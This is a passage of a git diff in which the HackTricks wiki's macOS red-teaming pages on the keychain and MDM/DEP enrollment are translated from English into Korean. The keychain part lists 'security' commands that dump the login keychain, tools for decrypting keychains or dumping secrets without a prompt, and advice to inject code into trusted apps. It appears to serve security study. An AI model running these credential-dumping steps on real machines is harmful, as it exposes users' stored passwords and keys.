-## References +## 참고자료 - [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E) - [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) @@ -254,12 +226,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati - [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) - [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index a6135959d..571a56dde 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -4,60 +4,59 @@ ## Main Keychains -- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys. -- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords. - - It's possible to find other components like certificates in `/System/Library/Keychains/*` -- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`). - - Apps will be restricted in the keychain only to their private area based on their application identifier. +- **사용자 키체인** (`~/Library/Keychains/login.keychain-db`): 애플리케이션 비밀번호, 인터넷 비밀번호, 사용자 생성 인증서, 네트워크 비밀번호 및 사용자 생성 공개/개인 키와 같은 **사용자 특정 자격 증명**을 저장하는 데 사용됩니다. +- **시스템 키체인** (`/Library/Keychains/System.keychain`): WiFi 비밀번호, 시스템 루트 인증서, 시스템 개인 키 및 시스템 애플리케이션 비밀번호와 같은 **시스템 전체 자격 증명**을 저장합니다. +- `/System/Library/Keychains/*`에서 인증서와 같은 다른 구성 요소를 찾을 수 있습니다. +- **iOS**에는 `/private/var/Keychains/`에 위치한 **키체인**이 하나만 있습니다. 이 폴더에는 `TrustStore`, 인증서 기관(`caissuercache`) 및 OSCP 항목(`ocspache`)에 대한 데이터베이스도 포함되어 있습니다. +- 앱은 애플리케이션 식별자에 따라 키체인에서 자신의 개인 영역으로만 제한됩니다. -### Password Keychain Access +### 비밀번호 키체인 접근 -These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption. +이 파일들은 본래 보호가 없고 **다운로드**할 수 있지만, 암호화되어 있으며 **사용자의 평문 비밀번호로 복호화**해야 합니다. [**Chainbreaker**](https://github.com/n0fate/chainbreaker)와 같은 도구를 사용하여 복호화할 수 있습니다. -## Keychain Entries Protections +## 키체인 항목 보호 ### ACLs -Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including: +키체인의 각 항목은 **액세스 제어 목록(ACLs)**에 의해 관리되며, 이는 키체인 항목에 대해 다양한 작업을 수행할 수 있는 사람을 규정합니다: -- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret. -- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password. -- **ACLAuhtorizationAny**: Allows the holder to perform any action. +- **ACLAuhtorizationExportClear**: 보유자가 비밀의 평문을 가져올 수 있도록 허용합니다. +- **ACLAuhtorizationExportWrapped**: 보유자가 다른 제공된 비밀번호로 암호화된 평문을 가져올 수 있도록 허용합니다. +- **ACLAuhtorizationAny**: 보유자가 모든 작업을 수행할 수 있도록 허용합니다. -The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be: +ACLs는 이러한 작업을 사용자에게 요청 없이 수행할 수 있는 **신뢰할 수 있는 애플리케이션 목록**과 함께 제공됩니다. 이는 다음과 같을 수 있습니다: -- **N`il`** (no authorization required, **everyone is trusted**) -- An **empty** list (**nobody** is trusted) -- **List** of specific **applications**. +- **N`il`** (인증 필요 없음, **모두 신뢰됨**) +- **빈** 목록 (**아무도** 신뢰되지 않음) +- 특정 **애플리케이션**의 **목록**. -Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.** +또한 항목에는 **`ACLAuthorizationPartitionID`**라는 키가 포함될 수 있으며, 이는 **teamid, apple,** 및 **cdhash**를 식별하는 데 사용됩니다. -- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**. -- If the **apple** is specified, then the app needs to be **signed** by **Apple**. -- If the **cdhash** is indicated, then **app** must have the specific **cdhash**. +- **teamid**가 지정된 경우, **프롬프트 없이** 항목 값을 **액세스**하려면 사용된 애플리케이션이 **같은 teamid**를 가져야 합니다. +- **apple**이 지정된 경우, 앱은 **Apple**에 의해 **서명**되어야 합니다. +- **cdhash**가 표시된 경우, **앱**은 특정 **cdhash**를 가져야 합니다. -### Creating a Keychain Entry +### 키체인 항목 생성 -When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply: +**`Keychain Access.app`**를 사용하여 **새로운** **항목**이 생성될 때 다음 규칙이 적용됩니다: -- All apps can encrypt. -- **No apps** can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change ACLs. -- The **partitionID** is set to **`apple`**. +- 모든 앱이 암호화할 수 있습니다. +- **어떤 앱도** 내보내기/복호화할 수 없습니다(사용자에게 프롬프트 없이). +- 모든 앱이 무결성 검사를 볼 수 있습니다. +- 어떤 앱도 ACL을 변경할 수 없습니다. +- **partitionID**는 **`apple`**로 설정됩니다. -When an **application creates an entry in the keychain**, the rules are slightly different: +**애플리케이션이 키체인에 항목을 생성할 때** 규칙은 약간 다릅니다: -- All apps can encrypt. -- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change the ACLs. -- The **partitionID** is set to **`teamid:[teamID here]`**. +- 모든 앱이 암호화할 수 있습니다. +- **생성하는 애플리케이션**(또는 명시적으로 추가된 다른 앱)만 내보내기/복호화할 수 있습니다(사용자에게 프롬프트 없이). +- 모든 앱이 무결성 검사를 볼 수 있습니다. +- 어떤 앱도 ACL을 변경할 수 없습니다. +- **partitionID**는 **`teamid:[teamID here]`**로 설정됩니다. -## Accessing the Keychain +## 키체인 접근 ### `security` - ```bash # List keychains security list-keychains @@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - # Dump specifically the user keychain security dump-keychain ~/Library/Keychains/login.keychain-db ``` - ### APIs > [!TIP] -> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith) +> **키체인 열거 및 비밀 덤프**는 **프롬프트를 생성하지 않는** 비밀에 대해 도구 [**LockSmith**](https://github.com/its-a-feature/LockSmith)를 사용하여 수행할 수 있습니다. > -> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code. +> 다른 API 엔드포인트는 [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) 소스 코드에서 찾을 수 있습니다. -List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples: +**Security Framework**를 사용하여 각 키체인 항목에 대한 **정보**를 나열하고 가져오거나, Apple의 오픈 소스 CLI 도구 [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.**를 확인할 수도 있습니다. 몇 가지 API 예시: -- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it: - - **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups) - - **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up) - - **`kSecReturnAttributes`**: Get metadata about entries - - **`kSecMatchLimit`**: How many results to return - - **`kSecClass`**: What kind of keychain entry +- API **`SecItemCopyMatching`**은 각 항목에 대한 정보를 제공하며, 사용할 때 설정할 수 있는 몇 가지 속성이 있습니다: +- **`kSecReturnData`**: true인 경우 데이터를 복호화하려고 시도합니다(팝업을 피하려면 false로 설정). +- **`kSecReturnRef`**: 키체인 항목에 대한 참조도 가져옵니다(나중에 팝업 없이 복호화할 수 있는 경우 true로 설정). +- **`kSecReturnAttributes`**: 항목에 대한 메타데이터를 가져옵니다. +- **`kSecMatchLimit`**: 반환할 결과 수. +- **`kSecClass`**: 어떤 종류의 키체인 항목인지. -Get **ACLs** of each entry: +각 항목의 **ACL**을 가져옵니다: -- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has: - - Description - - **Trusted Application List**. This could be: - - An app: /Applications/Slack.app - - A binary: /usr/libexec/airportd - - A group: group://AirPort +- API **`SecAccessCopyACLList`**를 사용하여 **키체인 항목에 대한 ACL**을 가져올 수 있으며, 각 목록에는 다음과 같은 ACL 목록이 반환됩니다(예: `ACLAuhtorizationExportClear` 및 이전에 언급된 다른 항목들): +- 설명 +- **신뢰할 수 있는 애플리케이션 목록**. 이는 다음과 같을 수 있습니다: +- 애플리케이션: /Applications/Slack.app +- 바이너리: /usr/libexec/airportd +- 그룹: group://AirPort -Export the data: +데이터를 내보냅니다: -- The API **`SecKeychainItemCopyContent`** gets the plaintext -- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted +- API **`SecKeychainItemCopyContent`**는 평문을 가져옵니다. +- API **`SecItemExport`**는 키와 인증서를 내보내지만, 암호화된 콘텐츠를 내보내려면 암호를 설정해야 할 수 있습니다. -And these are the **requirements** to be able to **export a secret without a prompt**: +그리고 **프롬프트 없이 비밀을 내보내기 위한 요구 사항**은 다음과 같습니다: -- If **1+ trusted** apps listed: - - Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info) - - Need code signature to match **PartitionID** - - Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup) -- If **all applications trusted**: - - Need the appropriate **authorizations** - - Need code signature to match **PartitionID** - - If **no PartitionID**, then this isn't needed +- **1개 이상의 신뢰할 수 있는** 애플리케이션이 나열된 경우: +- 적절한 **권한**이 필요합니다 (**`Nil`**, 또는 비밀 정보에 접근하기 위한 권한의 허용 목록에 **포함**되어야 함). +- 코드 서명이 **PartitionID**와 일치해야 합니다. +- 코드 서명이 하나의 **신뢰할 수 있는 애플리케이션**과 일치해야 합니다(또는 올바른 KeychainAccessGroup의 구성원이어야 함). +- **모든 애플리케이션이 신뢰할 수 있는** 경우: +- 적절한 **권한**이 필요합니다. +- 코드 서명이 **PartitionID**와 일치해야 합니다. +- **PartitionID**가 없는 경우, 이는 필요하지 않습니다. > [!CAUTION] -> Therefore, if there is **1 application listed**, you need to **inject code in that application**. +> 따라서 **1개의 애플리케이션이 나열된 경우**, 해당 애플리케이션에 **코드를 주입해야** 합니다. > -> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this. +> **apple**이 **partitionID**에 표시된 경우, **`osascript`**를 사용하여 접근할 수 있으며, partitionID에 apple이 포함된 모든 애플리케이션을 신뢰할 수 있습니다. **`Python`**도 이를 위해 사용할 수 있습니다. -### Two additional attributes +### 두 가지 추가 속성 -- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app -- **General**: It's to store **metadata** (so it's NOT ENCRYPTED) - - Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint. +- **Invisible**: UI 키체인 앱에서 항목을 **숨기기** 위한 부울 플래그입니다. +- **General**: **메타데이터**를 저장하기 위한 것입니다(따라서 **암호화되지 않음**). +- Microsoft는 민감한 엔드포인트에 접근하기 위해 모든 리프레시 토큰을 평문으로 저장하고 있었습니다. ## References diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 1a4f69c6e..99fb756a3 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,199 +2,199 @@ {{#include ../../../banners/hacktricks-training.md}} -**To learn about macOS MDMs check:** +**macOS MDM에 대해 알아보려면 다음을 확인하세요:** - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) -## Basics +## 기본 사항 -### **MDM (Mobile Device Management) Overview** +### **MDM (모바일 장치 관리) 개요** -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include: +[모바일 장치 관리](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM)은 스마트폰, 노트북 및 태블릿과 같은 다양한 최종 사용자 장치를 관리하는 데 사용됩니다. 특히 Apple의 플랫폼(iOS, macOS, tvOS)에 대해 전문화된 기능, API 및 관행의 집합이 포함됩니다. MDM의 작동은 상용 또는 오픈 소스의 호환 MDM 서버에 의존하며, [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 사항은 다음과 같습니다: -- Centralized control over devices. -- Dependence on an MDM server that adheres to the MDM protocol. -- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation. +- 장치에 대한 중앙 집중식 제어. +- MDM 프로토콜을 준수하는 MDM 서버에 의존. +- MDM 서버가 원격 데이터 삭제 또는 구성 설치와 같은 다양한 명령을 장치에 전송할 수 있는 기능. -### **Basics of DEP (Device Enrollment Program)** +### **DEP (장치 등록 프로그램) 기본 사항** -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include: +Apple에서 제공하는 [장치 등록 프로그램](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치에 대한 제로 터치 구성을 용이하게 하여 모바일 장치 관리(MDM)의 통합을 간소화합니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리 개입으로 즉시 작동할 수 있도록 합니다. 필수 사항은 다음과 같습니다: -- Enables devices to autonomously register with a pre-defined MDM server upon initial activation. -- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration. -- Facilitates a straightforward setup, making devices ready for organizational use swiftly. +- 장치가 초기 활성화 시 미리 정의된 MDM 서버에 자율적으로 등록할 수 있도록 합니다. +- 주로 새 장치에 유용하지만 재구성 중인 장치에도 적용 가능합니다. +- 간단한 설정을 통해 장치를 신속하게 조직에서 사용할 수 있도록 합니다. -### **Security Consideration** +### **보안 고려 사항** -It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device. +DEP가 제공하는 등록의 용이성은 유익하지만 보안 위험을 초래할 수 있습니다. MDM 등록에 대한 보호 조치가 적절하게 시행되지 않으면 공격자가 이 간소화된 프로세스를 악용하여 자신의 장치를 조직의 MDM 서버에 등록하고 기업 장치로 가장할 수 있습니다. > [!CAUTION] -> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place. +> **보안 경고**: 간소화된 DEP 등록은 적절한 보호 장치가 마련되지 않은 경우 조직의 MDM 서버에 무단 장치 등록을 허용할 수 있습니다. -### Basics What is SCEP (Simple Certificate Enrolment Protocol)? +### SCEP (간단한 인증서 등록 프로토콜)란 무엇인가요? -- A relatively old protocol, created before TLS and HTTPS were widespread. -- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. +- TLS 및 HTTPS가 널리 퍼지기 전에 만들어진 비교적 오래된 프로토콜입니다. +- 클라이언트가 인증서를 부여받기 위해 **인증서 서명 요청** (CSR)을 보내는 표준화된 방법을 제공합니다. 클라이언트는 서버에 서명된 인증서를 요청합니다. -### What are Configuration Profiles (aka mobileconfigs)? +### 구성 프로파일(모바일 구성 파일)이란 무엇인가요? -- Apple’s official way of **setting/enforcing system configuration.** -- File format that can contain multiple payloads. -- Based on property lists (the XML kind). -- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. +- Apple의 공식적인 **시스템 구성 설정/강제 적용 방법**입니다. +- 여러 페이로드를 포함할 수 있는 파일 형식입니다. +- 속성 목록(XML 형식)을 기반으로 합니다. +- “출처를 검증하고 무결성을 보장하며 내용을 보호하기 위해 서명 및 암호화될 수 있습니다.” 기본 사항 — 페이지 70, iOS 보안 가이드, 2018년 1월. -## Protocols +## 프로토콜 ### MDM -- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) -- **Communication** occurs between a **device** and a server associated with a **device** **management** **product** -- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries** -- All over **HTTPS**. MDM servers can be (and are usually) pinned. -- Apple grants the MDM vendor an **APNs certificate** for authentication +- APNs (**Apple 서버**) + RESTful API (**MDM** **공급업체** 서버)의 조합 +- **통신**은 **장치**와 **장치 관리** **제품**과 관련된 서버 간에 발생합니다. +- **명령**은 MDM에서 장치로 **plist 인코딩된 사전**으로 전달됩니다. +- 모두 **HTTPS**를 통해 이루어집니다. MDM 서버는 (대개) 핀 고정됩니다. +- Apple은 인증을 위해 MDM 공급업체에 **APNs 인증서**를 부여합니다. ### DEP -- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): - - The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. - - The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status. - - The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API. -- More modern and **JSON** based (vs. plist) -- Apple grants an **OAuth token** to the MDM vendor +- **3개의 API**: 1개는 리셀러용, 1개는 MDM 공급업체용, 1개는 장치 식별용(문서화되지 않음): +- 이른바 [DEP "클라우드 서비스" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). MDM 서버가 DEP 프로파일을 특정 장치와 연결하는 데 사용됩니다. +- [Apple 공인 리셀러가 사용하는 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)로 장치를 등록하고, 등록 상태를 확인하며, 거래 상태를 확인합니다. +- 문서화되지 않은 개인 DEP API. Apple 장치가 자신의 DEP 프로파일을 요청하는 데 사용됩니다. macOS에서는 `cloudconfigurationd` 바이너리가 이 API를 통해 통신하는 역할을 합니다. +- 더 현대적이고 **JSON** 기반입니다(대비 plist). +- Apple은 MDM 공급업체에 **OAuth 토큰**을 부여합니다. -**DEP "cloud service" API** +**DEP "클라우드 서비스" API** - RESTful -- sync device records from Apple to the MDM server -- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on) -- A DEP “profile” contains: - - MDM vendor server URL - - Additional trusted certificates for server URL (optional pinning) - - Extra settings (e.g. which screens to skip in Setup Assistant) +- Apple에서 MDM 서버로 장치 기록 동기화 +- MDM 서버에서 Apple로 “DEP 프로파일” 동기화(나중에 장치에 전달됨) +- DEP “프로파일”에는 다음이 포함됩니다: +- MDM 공급업체 서버 URL +- 서버 URL에 대한 추가 신뢰할 수 있는 인증서(선택적 핀 고정) +- 추가 설정(예: 설정 도우미에서 건너뛸 화면) -## Serial Number +## 일련 번호 -Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. +2010년 이후 제조된 Apple 장치는 일반적으로 **12자리 알phanumeric** 일련 번호를 가지며, **첫 세 자리는 제조 위치**를 나타내고, 다음 **두 자리는** **제조 연도**와 **주**를 나타내며, 다음 **세 자리는** **고유 식별자**를 제공하고, **마지막 네 자리는** **모델 번호**를 나타냅니다. {{#ref}} macos-serial-number.md {{#endref}} -## Steps for enrolment and management +## 등록 및 관리 단계 -1. Device record creation (Reseller, Apple): The record for the new device is created -2. Device record assignment (Customer): The device is assigned to a MDM server -3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple -4. DEP check-in (Device): Device gets his DEP profile -5. Profile retrieval (Device) -6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads -7. MDM command issuance (Device) +1. 장치 기록 생성 (리셀러, Apple): 새 장치에 대한 기록이 생성됩니다. +2. 장치 기록 할당 (고객): 장치가 MDM 서버에 할당됩니다. +3. 장치 기록 동기화 (MDM 공급업체): MDM이 장치 기록을 동기화하고 DEP 프로파일을 Apple에 푸시합니다. +4. DEP 체크인 (장치): 장치가 자신의 DEP 프로파일을 받습니다. +5. 프로파일 검색 (장치) +6. 프로파일 설치 (장치) a. MDM, SCEP 및 루트 CA 페이로드 포함 +7. MDM 명령 발행 (장치) ![](<../../../images/image (694).png>) -The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. +파일 `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd`는 등록 프로세스의 **고급 "단계"**로 간주될 수 있는 기능을 내보냅니다. -### Step 4: DEP check-in - Getting the Activation Record +### 단계 4: DEP 체크인 - 활성화 기록 가져오기 -This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) +이 프로세스의 일부는 **사용자가 Mac을 처음 부팅할 때** (또는 완전 초기화 후) 발생합니다. ![](<../../../images/image (1044).png>) -or when executing `sudo profiles show -type enrollment` +또는 `sudo profiles show -type enrollment`을 실행할 때 발생합니다. -- Determine **whether device is DEP enabled** -- Activation Record is the internal name for **DEP “profile”** -- Begins as soon as the device is connected to Internet -- Driven by **`CPFetchActivationRecord`** -- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. - - LaunchDaemon (always runs as root) +- **장치가 DEP 활성화되었는지 여부 확인** +- 활성화 기록은 **DEP “프로파일”**의 내부 이름입니다. +- 장치가 인터넷에 연결되면 시작됩니다. +- **`CPFetchActivationRecord`**에 의해 구동됩니다. +- **`cloudconfigurationd`**에 의해 XPC를 통해 구현됩니다. **"설정 도우미"** (장치가 처음 부팅될 때) 또는 **`profiles`** 명령이 이 데몬에 연락하여 활성화 기록을 검색합니다. +- LaunchDaemon (항상 root로 실행됨) -It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe** +활성화 기록을 가져오는 과정은 **`MCTeslaConfigurationFetcher`**에 의해 수행됩니다. 이 과정은 **Absinthe**라는 암호화를 사용합니다. -1. Retrieve **certificate** - 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Initialize** state from certificate (**`NACInit`**) - 1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**) -3. Retrieve **session key** - 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) -4. Establish the session (**`NACKeyEstablishment`**) -5. Make the request - 1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` - 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) - 3. All requests over HTTPs, built-in root certificates are used +1. **인증서 검색** +1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) +2. 인증서에서 상태 **초기화** (**`NACInit`**) +1. 다양한 장치 특정 데이터 사용 (예: **일련 번호 via `IOKit`**) +3. **세션 키 검색** +1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) +4. 세션 설정 (**`NACKeyEstablishment`**) +5. 요청하기 +1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)로 데이터 `{ "action": "RequestProfileConfiguration", "sn": "" }` 전송 +2. JSON 페이로드는 Absinthe로 암호화됩니다 (**`NACSign`**) +3. 모든 요청은 HTTPs를 통해 이루어지며, 내장된 루트 인증서가 사용됩니다. ![](<../../../images/image (566) (1).png>) -The response is a JSON dictionary with some important data like: +응답은 다음과 같은 중요한 데이터가 포함된 JSON 사전입니다: -- **url**: URL of the MDM vendor host for the activation profile -- **anchor-certs**: Array of DER certificates used as trusted anchors +- **url**: 활성화 프로파일을 위한 MDM 공급업체 호스트의 URL +- **anchor-certs**: 신뢰할 수 있는 앵커로 사용되는 DER 인증서 배열 -### **Step 5: Profile Retrieval** +### **단계 5: 프로파일 검색** ![](<../../../images/image (444).png>) -- Request sent to **url provided in DEP profile**. -- **Anchor certificates** are used to **evaluate trust** if provided. - - Reminder: the **anchor_certs** property of the DEP profile -- **Request is a simple .plist** with device identification - - Examples: **UDID, OS version**. -- CMS-signed, DER-encoded -- Signed using the **device identity certificate (from APNS)** -- **Certificate chain** includes expired **Apple iPhone Device CA** +- **DEP 프로파일**에 제공된 **url**로 요청이 전송됩니다. +- 제공된 경우 **신뢰성 평가**를 위해 **앵커 인증서**가 사용됩니다. +- 알림: **DEP 프로파일의 anchor_certs** 속성 +- **요청은 장치 식별이 포함된 간단한 .plist**입니다. +- 예: **UDID, OS 버전**. +- CMS 서명, DER 인코딩 +- **장치 식별 인증서(APNS에서)**를 사용하여 서명됩니다. +- **인증서 체인**에는 만료된 **Apple iPhone Device CA**가 포함됩니다. -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) -### Step 6: Profile Installation +### 단계 6: 프로파일 설치 -- Once retrieved, **profile is stored on the system** -- This step begins automatically (if in **setup assistant**) -- Driven by **`CPInstallActivationProfile`** -- Implemented by mdmclient over XPC - - LaunchDaemon (as root) or LaunchAgent (as user), depending on context -- Configuration profiles have multiple payloads to install -- Framework has a plugin-based architecture for installing profiles -- Each payload type is associated with a plugin - - Can be XPC (in framework) or classic Cocoa (in ManagedClient.app) -- Example: - - Certificate Payloads use CertificateService.xpc +- 검색된 후, **프로파일은 시스템에 저장됩니다**. +- 이 단계는 자동으로 시작됩니다( **설정 도우미**에 있을 경우). +- **`CPInstallActivationProfile`**에 의해 구동됩니다. +- XPC를 통해 mdmclient에 의해 구현됩니다. +- LaunchDaemon (root로 실행) 또는 LaunchAgent (사용자로 실행), 상황에 따라 다름. +- 구성 프로파일은 설치할 여러 페이로드를 가집니다. +- 프레임워크는 프로파일 설치를 위한 플러그인 기반 아키텍처를 가지고 있습니다. +- 각 페이로드 유형은 플러그인과 연결되어 있습니다. +- XPC(프레임워크 내) 또는 클래식 Cocoa(ManagedClient.app)일 수 있습니다. +- 예: +- 인증서 페이로드는 CertificateService.xpc를 사용합니다. -Typically, **activation profile** provided by an MDM vendor will **include the following payloads**: +일반적으로 MDM 공급업체가 제공하는 **활성화 프로파일**은 다음 페이로드를 **포함합니다**: -- `com.apple.mdm`: to **enroll** the device in MDM -- `com.apple.security.scep`: to securely provide a **client certificate** to the device. -- `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain. -- Installing the MDM payload equivalent to **MDM check-in in the documentation** -- Payload **contains key properties**: -- - MDM Check-In URL (**`CheckInURL`**) - - MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it -- To install MDM payload, request is sent to **`CheckInURL`** -- Implemented in **`mdmclient`** -- MDM payload can depend on other payloads -- Allows **requests to be pinned to specific certificates**: - - Property: **`CheckInURLPinningCertificateUUIDs`** - - Property: 